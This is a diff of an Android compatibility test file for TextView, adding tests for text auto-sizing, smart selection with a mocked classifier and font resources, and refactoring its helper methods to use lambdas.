+        assertEquals(initialValue, textView.getAutoSizeStepGranularity());
+
+        textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        final int defaultValue = 1; // 1px.
+        // If the auto-size type is AUTO_SIZE_TEXT_TYPE_UNIFORM then it means textView went through
+        // the auto-size setup and given that 0 is an invalid value it changed it to the default.
+        assertEquals(defaultValue, textView.getAutoSizeStepGranularity());
+
+        final int newValue = 33;
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                textView.getAutoSizeMinTextSize(),
+                textView.getAutoSizeMaxTextSize(),
+                newValue,
+                TypedValue.COMPLEX_UNIT_PX);
+        assertEquals(newValue, textView.getAutoSizeStepGranularity());
+    }
+
+    @Test
+    public void testAutoSizeUniform_getSetAutoSizeMinTextSize() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        final int minSize = textView.getAutoSizeMinTextSize();
+        assertNotEquals(0, minSize);
+        final int maxSize = textView.getAutoSizeMaxTextSize();
+        assertNotEquals(0, maxSize);
+
+        // This is just a test check to verify the next assertions. If this fails it is a problem
+        // of this test setup (we need at least 2 units).
+        assertTrue((maxSize - minSize) > 1);
+        final int newMinSize = maxSize - 1;
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                newMinSize,
+                textView.getAutoSizeMaxTextSize(),
+                textView.getAutoSizeStepGranularity(),
+                TypedValue.COMPLEX_UNIT_PX);
+
+        assertEquals(newMinSize, textView.getAutoSizeMinTextSize());
+        // Max size has not changed.
+        assertEquals(maxSize, textView.getAutoSizeMaxTextSize());
+
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                newMinSize,
+                newMinSize + 10,
+                textView.getAutoSizeStepGranularity(),
+                TypedValue.COMPLEX_UNIT_SP);
+
+        // It does not matter which unit has been used to set the min size, the getter always
+        // returns it in pixels.
+        assertEquals(Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMinSize,
+                mActivity.getResources().getDisplayMetrics())), textView.getAutoSizeMinTextSize());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAutoSizeUniform_throwsException_whenMaxLessThanMin() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                10, 9, 1, TypedValue.COMPLEX_UNIT_SP);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAutoSizeUniform_throwsException_minLessThanZero() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                -1, 9, 1, TypedValue.COMPLEX_UNIT_SP);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAutoSizeUniform_throwsException_maxLessThanZero() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                10, -1, 1, TypedValue.COMPLEX_UNIT_SP);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAutoSizeUniform_throwsException_granularityLessThanZero() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                10, 20, -1, TypedValue.COMPLEX_UNIT_SP);
+    }
+
+    @Test
+    public void testAutoSizeUniform_equivalentConfigurations() throws Throwable {
+        final DisplayMetrics dm = mActivity.getResources().getDisplayMetrics();
+        final int minTextSize = 10;
+        final int maxTextSize = 20;
+        final int granularity = 2;
+        final int unit = TypedValue.COMPLEX_UNIT_SP;
+
+        final TextView granularityTextView = new TextView(mActivity);
+        granularityTextView.setAutoSizeTextTypeUniformWithConfiguration(
+                minTextSize, maxTextSize, granularity, unit);
+
+        final TextView presetTextView = new TextView(mActivity);
+        presetTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+                new int[] {minTextSize, 12, 14, 16, 18, maxTextSize}, unit);
+
+        // The TextViews have been configured differently but the end result should be nearly
+        // identical.
+        final int expectedAutoSizeType = TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM;
+        assertEquals(expectedAutoSizeType, granularityTextView.getAutoSizeTextType());
+        assertEquals(expectedAutoSizeType, presetTextView.getAutoSizeTextType());
+
+        final int expectedMinTextSizeInPx = Math.round(
+                TypedValue.applyDimension(unit, minTextSize, dm));
+        assertEquals(expectedMinTextSizeInPx, granularityTextView.getAutoSizeMinTextSize());
+        assertEquals(expectedMinTextSizeInPx, presetTextView.getAutoSizeMinTextSize());
+
+        final int expectedMaxTextSizeInPx = Math.round(
+                TypedValue.applyDimension(unit, maxTextSize, dm));
+        assertEquals(expectedMaxTextSizeInPx, granularityTextView.getAutoSizeMaxTextSize());
+        assertEquals(expectedMaxTextSizeInPx, presetTextView.getAutoSizeMaxTextSize());
+
+        // Configured with granularity.
+        assertEquals(Math.round(TypedValue.applyDimension(unit, granularity, dm)),
+                granularityTextView.getAutoSizeStepGranularity());
+        // Configured with preset values, there is no granularity.
+        assertEquals(-1, presetTextView.getAutoSizeStepGranularity());
+
+        // Both TextViews generate exactly the same sizes in pixels to choose from when auto-sizing.
+        assertArrayEquals("Expected the granularity and preset configured auto-sized "
+                + "TextViews to have identical available sizes for auto-sizing."
+                + "\ngranularity sizes: "
+                + Arrays.toString(granularityTextView.getAutoSizeTextAvailableSizes())
+                + "\npreset sizes: "
+                + Arrays.toString(presetTextView.getAutoSizeTextAvailableSizes()),
+                granularityTextView.getAutoSizeTextAvailableSizes(),
+                presetTextView.getAutoSizeTextAvailableSizes());
+
+        final String someText = "This is a string";
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                500, 500);
+        // Configure identically and attach to layout.
+        mActivityRule.runOnUiThread(() -> {
+            granularityTextView.setLayoutParams(layoutParams);
+            presetTextView.setLayoutParams(layoutParams);
+
+            LinearLayout ll = mActivity.findViewById(R.id.layout_textviewtest);
+            ll.removeAllViews();
+            ll.addView(granularityTextView);
+            ll.addView(presetTextView);
+
+            granularityTextView.setText(someText);
+            presetTextView.setText(someText);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(granularityTextView.getTextSize(), presetTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeUniform_getSetAutoSizeMaxTextSize() {
+        final TextView textView = new TextView(mActivity);
+        textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        final int minSize = textView.getAutoSizeMinTextSize();
+        assertNotEquals(0, minSize);
+        final int maxSize = textView.getAutoSizeMaxTextSize();
+        assertNotEquals(0, maxSize);
+
+        final int newMaxSize = maxSize + 11;
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                textView.getAutoSizeMinTextSize(),
+                newMaxSize,
+                textView.getAutoSizeStepGranularity(),
+                TypedValue.COMPLEX_UNIT_PX);
+
+        assertEquals(newMaxSize, textView.getAutoSizeMaxTextSize());
+        // Min size has not changed.
+        assertEquals(minSize, textView.getAutoSizeMinTextSize());
+        textView.setAutoSizeTextTypeUniformWithConfiguration(
+                textView.getAutoSizeMinTextSize(),
+                newMaxSize,
+                textView.getAutoSizeStepGranularity(),
+                TypedValue.COMPLEX_UNIT_SP);
+        // It does not matter which unit has been used to set the max size, the getter always
+        // returns it in pixels.
+        assertEquals(Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMaxSize,
+                mActivity.getResources().getDisplayMetrics())), textView.getAutoSizeMaxTextSize());
+    }
+
+    @Test
+    public void testAutoSizeUniform_autoSizeCalledWhenTypeChanged() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        // Make sure we pick an already inflated non auto-sized text view.
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, mTextView.getAutoSizeTextType());
+        // Set the text size to a very low value in order to prepare for auto-size.
+        final int customTextSize = 3;
+        mActivityRule.runOnUiThread(() ->
+                mTextView.setTextSize(TypedValue.COMPLEX_UNIT_PX, customTextSize));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(customTextSize, mTextView.getTextSize(), 0f);
+        mActivityRule.runOnUiThread(() ->
+                mTextView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM));
+        mInstrumentation.waitForIdleSync();
+        // The size of the text should have changed.
+        assertNotEquals(customTextSize, mTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testSmartSelection() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        String text = "The president-elect, Filip, is coming to town tomorrow.";
+        int startIndex = text.indexOf("president");
+        int endIndex = startIndex + "president".length();
+        initializeTextForSmartSelection(text);
+
+        // Long-press for smart selection. Expect smart selection.
+        Point offset = getCenterPositionOfTextAt(mTextView, startIndex, endIndex);
+        emulateLongPressOnView(mTextView, offset.x, offset.y);
+        PollingCheck.waitFor(() -> mTextView.getSelectionStart() == SMARTSELECT_START
+                && mTextView.getSelectionEnd() == SMARTSELECT_END);
+        // TODO: Test the floating toolbar content.
+    }
+
+    private boolean isWatch() {
+        return (mActivity.getResources().getConfiguration().uiMode
+                & Configuration.UI_MODE_TYPE_WATCH) == Configuration.UI_MODE_TYPE_WATCH;
+    }
+
+    @Test
+    public void testSmartSelection_dragSelection() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        mTextView = findTextView(R.id.textview_text);
+        String text = "The president-elect, Filip, is coming to town tomorrow.";
+        int startIndex = text.indexOf("is coming to town");
+        int endIndex = startIndex + "is coming to town".length();
+        initializeTextForSmartSelection(text);
+
+        Point start = getCenterPositionOfTextAt(mTextView, startIndex, startIndex);
+        Point end = getCenterPositionOfTextAt(mTextView, endIndex, endIndex);
+        int[] viewOnScreenXY = new int[2];
+        mTextView.getLocationOnScreen(viewOnScreenXY);
+        int startX = start.x + viewOnScreenXY[0];
+        int startY = start.y + viewOnScreenXY[1];
+        int offsetX = end.x - start.x;
+
+        // Perform drag selection.
+        CtsTouchUtils.emulateLongPressAndDragGesture(
+                mInstrumentation, startX, startY, offsetX, 0 /* offsetY */);
+
+        // No smart selection on drag selection.
+        assertEquals(startIndex, mTextView.getSelectionStart());
+        assertEquals(endIndex, mTextView.getSelectionEnd());
+    }
+
+    @Test
+    public void testSmartSelection_resetSelection() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        String text = "The president-elect, Filip, is coming to town tomorrow.";
+        int startIndex = text.indexOf("president");
+        int endIndex = startIndex + "president".length();
+        initializeTextForSmartSelection(text);
+
+        // Long-press for smart selection. Expect smart selection.
+        Point offset = getCenterPositionOfTextAt(mTextView, startIndex, endIndex);
+        emulateLongPressOnView(mTextView, offset.x, offset.y);
+        PollingCheck.waitFor(() -> mTextView.getSelectionStart() == SMARTSELECT_START
+                && mTextView.getSelectionEnd() == SMARTSELECT_END);
+
+        // Tap to reset selection. Expect tapped word to be selected.
+        startIndex = text.indexOf("Filip");
+        endIndex = startIndex + "Filip".length();
+        offset = getCenterPositionOfTextAt(mTextView, startIndex, endIndex);
+        emulateClickOnView(mTextView, offset.x, offset.y);
+        final int selStart = startIndex;
+        final int selEnd = endIndex;
+        PollingCheck.waitFor(() -> mTextView.getSelectionStart() == selStart
+                && mTextView.getSelectionEnd() == selEnd);
+
+        // Tap one more time to dismiss the selection.
+        emulateClickOnView(mTextView, offset.x, offset.y);
+        assertFalse(mTextView.hasSelection());
+    }
+
+    @Test
+    public void testFontResources_setInXmlFamilyName() {
+        mTextView = findTextView(R.id.textview_fontresource_fontfamily);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplefont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testFontResourcesXml_setInXmlFamilyName() {
+        mTextView = findTextView(R.id.textview_fontxmlresource_fontfamily);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplexmlfont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testFontResources_setInXmlStyle() {
+        mTextView = findTextView(R.id.textview_fontresource_style);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplefont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testFontResourcesXml_setInXmlStyle() {
+        mTextView = findTextView(R.id.textview_fontxmlresource_style);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplexmlfont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testFontResources_setInXmlTextAppearance() {
+        mTextView = findTextView(R.id.textview_fontresource_textAppearance);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplefont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testFontResourcesXml_setInXmlWithStyle() {
+        mTextView = findTextView(R.id.textview_fontxmlresource_fontfamily);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplexmlfont);
+
+        assertEquals(expected, mTextView.getTypeface());
+
+        mTextView = findTextView(R.id.textview_fontxmlresource_withStyle);
+
+        Typeface resultTypeface = mTextView.getTypeface();
+        assertNotEquals(resultTypeface, expected);
+        assertEquals(Typeface.create(expected, Typeface.ITALIC), resultTypeface);
+        assertEquals(Typeface.ITALIC, resultTypeface.getStyle());
+    }
+
+    @Test
+    public void testFontResourcesXml_setInXmlTextAppearance() {
+        mTextView = findTextView(R.id.textview_fontxmlresource_textAppearance);
+        Typeface expected = mActivity.getResources().getFont(R.font.samplexmlfont);
+
+        assertEquals(expected, mTextView.getTypeface());
+    }
+
+    @Test
+    @MediumTest
+    public void testFontResourcesXml_restrictedContext()
+            throws PackageManager.NameNotFoundException {
+        Context restrictedContext = mActivity.createPackageContext(mActivity.getPackageName(),
+                Context.CONTEXT_RESTRICTED);
+        LayoutInflater layoutInflater = (LayoutInflater) restrictedContext.getSystemService(
+                Context.LAYOUT_INFLATER_SERVICE);
+        View root = layoutInflater.inflate(R.layout.textview_restricted_layout, null);
+
+        mTextView = root.findViewById(R.id.textview_fontresource_fontfamily);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontxmlresource_fontfamily);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontxmlresource_nonFontReference);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontresource_style);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontxmlresource_style);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontresource_textAppearance);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+        mTextView = root.findViewById(R.id.textview_fontxmlresource_textAppearance);
+        assertEquals(Typeface.DEFAULT, mTextView.getTypeface());
+    }
+
+    private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
+        assertTrue(text.length() >= SMARTSELECT_END);
+        TextClassifier mockClassifier = mock(TextClassifier.class);
+        when(mockClassifier.suggestSelection(
+                any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
+                .thenReturn(new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build());
+        when(mockClassifier.classifyText(
+                any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
+                .thenReturn(new TextClassification.Builder().build());
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText(text);
+            mTextView.setTextClassifier(mockClassifier);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    private void layout(final int layoutId) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(layoutId);
-            }
+    private void emulateClickOnView(View view, int offsetX, int offsetY) {
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, view, offsetX, offsetY);
+        SystemClock.sleep(CLICK_TIMEOUT);
+    }
+
+    private void emulateLongPressOnView(View view, int offsetX, int offsetY) {
+        CtsTouchUtils.emulateLongPressOnView(mInstrumentation, view, offsetX, offsetY);
+        // TODO: Ideally, we shouldn't have to wait for a click timeout after a long-press but it
+        // seems like we have a minor bug (call it inconvenience) in TextView that requires this.
+        SystemClock.sleep(CLICK_TIMEOUT);
+    }
+
+    /**
+     * Some TextView attributes require non-fixed width and/or layout height. This function removes
+     * all other existing views from the layout leaving only one auto-size TextView (for exercising
+     * the auto-size behavior) which has been set up to suit the test needs.
+     *
+     * @param viewId The id of the view to prepare.
+     * @param shouldWrapLayoutContent Specifies if the layout params should wrap content
+     *
+     * @return a TextView configured for auto size tests.
+     */
+    private TextView prepareAndRetrieveAutoSizeTestData(final int viewId,
+            final boolean shouldWrapLayoutContent) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            LinearLayout ll = (LinearLayout) mActivity.findViewById(R.id.layout_textviewtest);
+            TextView targetedTextView = (TextView) mActivity.findViewById(viewId);
+            ll.removeAllViews();
+            ll.addView(targetedTextView);
         });
         mInstrumentation.waitForIdleSync();
+
+        final TextView textView = (TextView) mActivity.findViewById(viewId);
+        if (shouldWrapLayoutContent) {
+            // Do not force exact width or height.
+            final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                    LinearLayout.LayoutParams.WRAP_CONTENT,
+                    LinearLayout.LayoutParams.WRAP_CONTENT);
+            mActivityRule.runOnUiThread(() -> {
+                textView.setLayoutParams(layoutParams);
+            });
+            mInstrumentation.waitForIdleSync();
+        }
+
+        return textView;
+    }
+
+    /**
+     * Removes all existing views from the layout and adds a basic TextView (for exercising the
+     * ClickableSpan onClick() behavior) in order to prevent scrolling. Adds a ClickableSpan to the
+     * TextView and returns the ClickableSpan and position details about it to be used in individual
+     * tests.
+     */
+    private ClickableSpanTestDetails prepareAndRetrieveClickableSpanDetails() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            LinearLayout ll = (LinearLayout) mActivity.findViewById(R.id.layout_textviewtest);
+            ll.removeAllViews();
+            mTextView = new TextView(mActivity);
+            ll.addView(mTextView);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        ClickableSpan mockTextLink = mock(ClickableSpan.class);
+        StringBuilder textViewContent = new StringBuilder();
+        String clickableString = "clickMe!";
+        textViewContent.append(clickableString);
+        final int startPos = 0;
+
+        // Insert more characters to make some room for swiping.
+        for (int i = 0; i < 200; i++) {
+            textViewContent.append(" text");
+        }
+        SpannableString spannableString = new SpannableString(textViewContent);
+        final int endPos = clickableString.length();
+        spannableString.setSpan(mockTextLink, startPos, endPos, 0);
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText(spannableString);
+            mTextView.setMovementMethod(LinkMovementMethod.getInstance());
+        });
+        mInstrumentation.waitForIdleSync();
+
+        return new ClickableSpanTestDetails(mockTextLink, mTextView, startPos, endPos);
+    }
+
+    private static final class ClickableSpanTestDetails {
+        ClickableSpan mClickableSpan;
+        int mXPosInside;
+        int mYPosInside;
+        int mXPosOutside;
+        int mYPosOutside;
+
+        private int mStartCharPos;
+        private int mEndCharPos;
+        private TextView mParent;
+
+        ClickableSpanTestDetails(ClickableSpan clickableSpan, TextView parent,
+                int startCharPos, int endCharPos) {
+            mClickableSpan = clickableSpan;
+            mParent = parent;
+            mStartCharPos = startCharPos;
+            mEndCharPos = endCharPos;
+
+            calculatePositions();
+        }
+
+        private void calculatePositions() {
+            int xStart = (int) mParent.getLayout().getPrimaryHorizontal(mStartCharPos, true);
+            int xEnd = (int) mParent.getLayout().getPrimaryHorizontal(mEndCharPos, true);
+            int line = mParent.getLayout().getLineForOffset(mEndCharPos);
+            int yTop = mParent.getLayout().getLineTop(line);
+            int yBottom = mParent.getLayout().getLineBottom(line);
+
+            mXPosInside = (xStart + xEnd) / 2;
+            mYPosInside = (yTop + yBottom) / 2;
+            mXPosOutside = xEnd + 1;
+            mYPosOutside = yBottom + 1;
+        }
+    }
+
+    private MotionEvent createMouseHoverEvent(View view) {
+        final int[] xy = new int[2];
+        view.getLocationOnScreen(xy);
+        final int viewWidth = view.getWidth();
+        final int viewHeight = view.getHeight();
+        float x = xy[0] + viewWidth / 2.0f;
+        float y = xy[1] + viewHeight / 2.0f;
+        long eventTime = SystemClock.uptimeMillis();
+        MotionEvent.PointerCoords[] pointerCoords = new MotionEvent.PointerCoords[1];
+        pointerCoords[0] = new MotionEvent.PointerCoords();
+        pointerCoords[0].x = x;
+        pointerCoords[0].y = y;
+        final int[] pointerIds = new int[1];
+        pointerIds[0] = 0;
+        return MotionEvent.obtain(0, eventTime, MotionEvent.ACTION_HOVER_MOVE, 1, pointerIds,
+                pointerCoords, 0, 0, 0, 0, 0, InputDevice.SOURCE_MOUSE, 0);
+    }
+
+    private void layout(final TextView textView) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(textView));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void layout(final int layoutId) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layoutId));
+        mInstrumentation.waitForIdleSync();
     }
 
     private TextView findTextView(int id) {
@@ -5228,56 +7801,33 @@
         return findTextView(id).getAutoLinkMask();
     }
 
-    private Bitmap getBitmap(int resid) {
-        return ((BitmapDrawable) getDrawable(resid)).getBitmap();
-    }
-
-    private Drawable getDrawable(int resid) {
-        return mActivity.getResources().getDrawable(resid);
-    }
-
-    private void setMaxWidth(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMaxWidth(pixels);
-            }
-        });
+    private void setMaxLines(final int lines) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMaxLines(lines));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMinWidth(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMinWidth(pixels);
-            }
-        });
+    private void setMaxWidth(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMaxWidth(pixels));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMaxHeight(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMaxHeight(pixels);
-            }
-        });
+    private void setMinWidth(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMinWidth(pixels));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMinHeight(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMinHeight(pixels);
-            }
-        });
+    private void setMaxHeight(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMaxHeight(pixels));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMinLines(final int minlines) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMinLines(minlines);
-            }
-        });
+    private void setMinHeight(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMinHeight(pixels));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void setMinLines(final int minLines) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMinLines(minLines));
         mInstrumentation.waitForIdleSync();
     }
 
@@ -5288,87 +7838,70 @@
      * @param tv the text view
      * @param content the content
      */
-    private void setSpannableText(final TextView tv, final String content) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                tv.setText(content, BufferType.SPANNABLE);
-            }
-        });
+    private void setSpannableText(final TextView tv, final String content) throws Throwable {
+        mActivityRule.runOnUiThread(() -> tv.setText(content, BufferType.SPANNABLE));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setLines(final int lines) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setLines(lines);
-            }
-        });
+    private void setLines(final int lines) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setLines(lines));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setHorizontallyScrolling(final boolean whether) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setHorizontallyScrolling(whether);
-            }
-        });
+    private void setHorizontallyScrolling(final boolean whether) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setHorizontallyScrolling(whether));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setWidth(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setWidth(pixels);
-            }
-        });
+    private void setWidth(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setWidth(pixels));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setHeight(final int pixels) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setHeight(pixels);
-            }
-        });
+    private void setHeight(final int pixels) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setHeight(pixels));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMinEms(final int ems) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMinEms(ems);
-            }
-        });
+    private void setMinEms(final int ems) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMinEms(ems));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setMaxEms(final int ems) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMaxEms(ems);
-            }
-        });
+    private void setMaxEms(final int ems) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setMaxEms(ems));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setEms(final int ems) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setEms(ems);
-            }
-        });
+    private void setEms(final int ems) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setEms(ems));
         mInstrumentation.waitForIdleSync();
     }
 
-    private void setLineSpacing(final float add, final float mult) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setLineSpacing(add, mult);
-            }
-        });
+    private void setLineSpacing(final float add, final float mult) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.setLineSpacing(add, mult));
         mInstrumentation.waitForIdleSync();
     }
 
+    /**
+     * Returns the x, y coordinates of text at a specified indices relative to the position of the
+     * TextView.
+     *
+     * @param textView
+     * @param startIndex start index of the text in the textView
+     * @param endIndex end index of the text in the textView
+     */
+    private static Point getCenterPositionOfTextAt(
+            TextView textView, int startIndex, int endIndex) {
+        int xStart = (int) textView.getLayout().getPrimaryHorizontal(startIndex, true);
+        int xEnd = (int) textView.getLayout().getPrimaryHorizontal(endIndex, true);
+        int line = textView.getLayout().getLineForOffset(endIndex);
+        int yTop = textView.getLayout().getLineTop(line);
+        int yBottom = textView.getLayout().getLineBottom(line);
+
+        return new Point((xStart + xEnd) / 2 /* x */, (yTop + yBottom) / 2 /* y */);
+    }
+
     private static abstract class TestSelectedRunnable implements Runnable {
         private TextView mTextView;
         private boolean mIsSelected1;
@@ -5412,56 +7945,6 @@
         }
     }
 
-    private class MockEditableFactory extends Editable.Factory {
-        private boolean mhasCalledNewEditable;
-        private CharSequence mSource;
-
-        public boolean hasCalledNewEditable() {
-            return mhasCalledNewEditable;
-        }
-
-        public void reset() {
-            mhasCalledNewEditable = false;
-            mSource = null;
-        }
-
-        public CharSequence getSource() {
-            return mSource;
-        }
-
-        @Override
-        public Editable newEditable(CharSequence source) {
-            mhasCalledNewEditable = true;
-            mSource = source;
-            return super.newEditable(source);
-        }
-    }
-
-    private class MockSpannableFactory extends Spannable.Factory {
-        private boolean mHasCalledNewSpannable;
-        private CharSequence mSource;
-
-        public boolean hasCalledNewSpannable() {
-            return mHasCalledNewSpannable;
-        }
-
-        public void reset() {
-            mHasCalledNewSpannable = false;
-            mSource = null;
-        }
-
-        public CharSequence getSource() {
-            return mSource;
-        }
-
-        @Override
-        public Spannable newSpannable(CharSequence source) {
-            mHasCalledNewSpannable = true;
-            mSource = source;
-            return super.newSpannable(source);
-        }
-    }
-
     private static class MockTextWatcher implements TextWatcher {
         private boolean mHasCalledAfterTextChanged;
         private boolean mHasCalledBeforeTextChanged;
@@ -5499,70 +7982,6 @@
     }
 
     /**
-     * The listener interface for receiving mockOnLongClick events. The class
-     * that is interested in processing a mockOnLongClick event implements this
-     * interface, and the object created with that class is registered with a
-     * component using the component's
-     * <code>addMockOnLongClickListener<code> method. When
-     * the mockOnLongClick event occurs, that object's appropriate
-     * method is invoked.
-     *
-     * @see MockOnLongClickEvent
-     */
-    private static class MockOnLongClickListener implements OnLongClickListener {
-        private boolean mExpectedOnLongClickResult;
-        private boolean mHasLongClicked;
-
-        MockOnLongClickListener(boolean result) {
-            mExpectedOnLongClickResult = result;
-        }
-
-        public boolean hasLongClicked() {
-            return mHasLongClicked;
-        }
-
-        public boolean onLongClick(View v) {
-            mHasLongClicked = true;
-            return mExpectedOnLongClickResult;
-        }
-    }
-
-    /**
-     * The listener interface for receiving mockOnCreateContextMenu events. The
-     * class that is interested in processing a mockOnCreateContextMenu event
-     * implements this interface, and the object created with that class is
-     * registered with a component using the component's
-     * <code>addMockOnCreateContextMenuListener<code> method. When the
-     * mockOnCreateContextMenu event occurs, that object's appropriate method is
-     * invoked.
-     *
-     * @see MockOnCreateContextMenuEvent
-     */
-    private static class MockOnCreateContextMenuListener implements OnCreateContextMenuListener {
-        private boolean mIsMenuItemsBlank;
-        private boolean mHasCreatedContextMenu;
-
-        MockOnCreateContextMenuListener(boolean isBlank) {
-            this.mIsMenuItemsBlank = isBlank;
-        }
-
